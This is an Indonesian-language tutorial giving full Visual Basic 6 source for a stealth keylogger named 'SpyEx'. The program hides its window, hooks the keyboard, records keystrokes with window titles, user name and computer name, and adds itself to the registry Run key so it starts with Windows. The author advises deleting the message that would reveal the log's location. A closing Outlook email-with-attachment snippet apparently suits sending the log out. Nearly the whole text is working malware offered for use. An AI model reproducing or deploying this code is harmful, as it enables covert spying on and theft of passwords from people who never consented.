Buat Project baru pada Visual basic, tambahkan 1 Form dan 1 Module. Pada Form tambahkan juga 1 Timer, Aturlah Properties Timmer Interval=0.


Ketiklah Kode program berikut ini.

- FORM CODE-
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Dim title As String, last As String, strInfo As String, fileName As String
Dim handle As Long, length As Long
Dim i As Integer
Dim fso As New FileSystemObject, txt As TextStream

Private Sub Form_Load()
    'Atur Path untuk LOG file
       fileName = App.Path & "\SpyEx.txt"
       Set txt = fso.OpenTextFile(fileName, ForAppending, True)
       txt.WriteLine ("Started: " & Now)
       Set objNet = CreateObject("WScript.NetWork")
       strInfo = "User Name: " & objNet.UserName & vbCrLf & _
                     "Computer Name: " & objNet.ComputerName & vbCrLf
       txt.WriteLine (vbNewLine & strInfo)
 
       keyChar = Array(8, 9, 160, 17, 18, 35, 36, 46, 91, 92, _
                        112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, _
                        32, 106, 107, 109, 110, 111, 186, 187, 188, 189, 190, 191, _
                        192, 219, 220, 221, 222, 96, 97, 98, 99, 100, 101, 102, 103, _
                        104, 105)
 
       keyList = Array("BACK", "TAB", "SHIFT", "CTRL", "ALT", "END", "HOME", _
                     "DEL", "LWIN", "RWIN", "F1", "F2", "F3", "F4", "F5", "F6", "F7", _
                     "F8", "F9", "F10", "F11", "F12", " ", "*", "+", "-", ".", "/", ";", _
                     "=", ",", "-", ".", "/", "`", "[", "\", "[", "'", "0", "1", "2", "3", "4", _
                     "5", "6", "7", "8", "9")
 
       App.TaskVisible = False
       Me.Hide
       startup         '// ===> Aktifkan Keylogger setiap Windows Start
       Timer1.Interval = 1
       KeyboardHook
End Sub

Private Sub Form_Terminate()
       Unhook
       hook = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
       txt.Write (vbNewLine & "Ended: " & Now & vbNewLine & vbNewLine)
       txt.Close
       Unhook
       hook = 0
End Sub

Private Sub Timer1_Timer()
       last = title
       handle = GetForegroundWindow
       length = GetWindowTextLength(handle)
       title = String(length, Chr$(0))
       GetWindowText handle, title, length + 1
       If title <> last And last <> "" Then
             txt.WriteLine ("<<" & last & ">>" & vbTab & keys)
             keys = ""
       End If
End Sub


-MODULE CODE-
Private Type KBDLLHOOKSTRUCT
        code As Long
End Type

Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Const WH_KEYBOARD_LL = 13&
Private Const WM_KEYDOWN = &H100
Private Const READ_CONTROL As Long = &H20000
Private Const STANDARD_RIGHTS_WRITE As Long = (READ_CONTROL)
Private Const KEY_SET_VALUE As Long = &H2
Private Const KEY_CREATE_SUB_KEY As Long = &H4
Private Const SYNCHRONIZE As Long = &H100000
Private Const KEY_WRITE As Long = _
((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const HKEY_LOCAL_MACHINE As Long = &H80000002
Private Const REG_SZ As Long = 1

Private hook As Long
Dim hookKey As KBDLLHOOKSTRUCT
Public intercept As Boolean
Public keyCode As Long, keys As String, keyList, keyChar
Dim subKey As String, key As Long, str As String, size As Long

Public Function startup()
       subKey = "software\microsoft\windows\currentversion\run"
       str = App.Path & "\" & App.EXEName & ".exe"
       size = Len(str)
 
       RegOpenKeyEx HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, key
       RegSetValueEx key, "SpyEx", 0, REG_SZ, ByVal str, size
       RegCloseKey key
End Function

Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

      If wParam = WM_KEYDOWN Then
             Call CopyMemory(hookKey, ByVal lParam, Len(hookKey))
             keyCode = hookKey.code
             For i = 0 To 21
                    If keyCode = keyChar(i) Then keys = keys & "[" & keyList(i) & "]"
             Next
             For i = 22 To 47
                    If keyCode = keyChar(i) Then keys = keys & keyList(i)
             Next
             If (keyCode >= 48 And keyCode <= 57) Or (keyCode >= 65 And keyCode <= 90) Then
                    keys = keys & Chr(keyCode)
             ElseIf keyCode = 13 Then
                    keys = keys & vbNewLine & vbTab
             ElseIf keyCode = 123 Then
                    ' MsgBox "SpyEx is closing... The output file is located in " & App.Path & "\SpyEx.txt", vbCritical, "SpyEx"          // ====> Sebaiknya dibuang saja
                    Unload Form1
             End If
      End If

      KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam)
End Function

Public Function KeyboardHook()
      hook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KeyboardProc, App.hInstance, 0&)
End Function

Public Function Unhook()
      Call UnhookWindowsHookEx(hook)
      hook = 0
      Unhook = 1
End Function


++++++++++++++++++++++++++++++++++++++++++++++++++
NOTE: Untuk menonaktifkan Keylogger dari memory, tekan tombol [F12]

Script VB untuk kirim email menggunakan Microsoft Outlook

Sub Kirim_Pesan      
        Set OAPP = CreateObject("Outlook.Application")
        Set msg = OAPP.CreateItem(0)
        msg.To = <e-mail  tujuan>
        msg.Subject = <judul email>
        msg.Body = <isi pesan email>
        msg.Attachments.Add (<path attachment>)
        msg.Send
        Set msg=Nothing
        Set OAPP=Nothing
End Sub

NOTE: Komputer harus terinstall Microsoft Outlook :))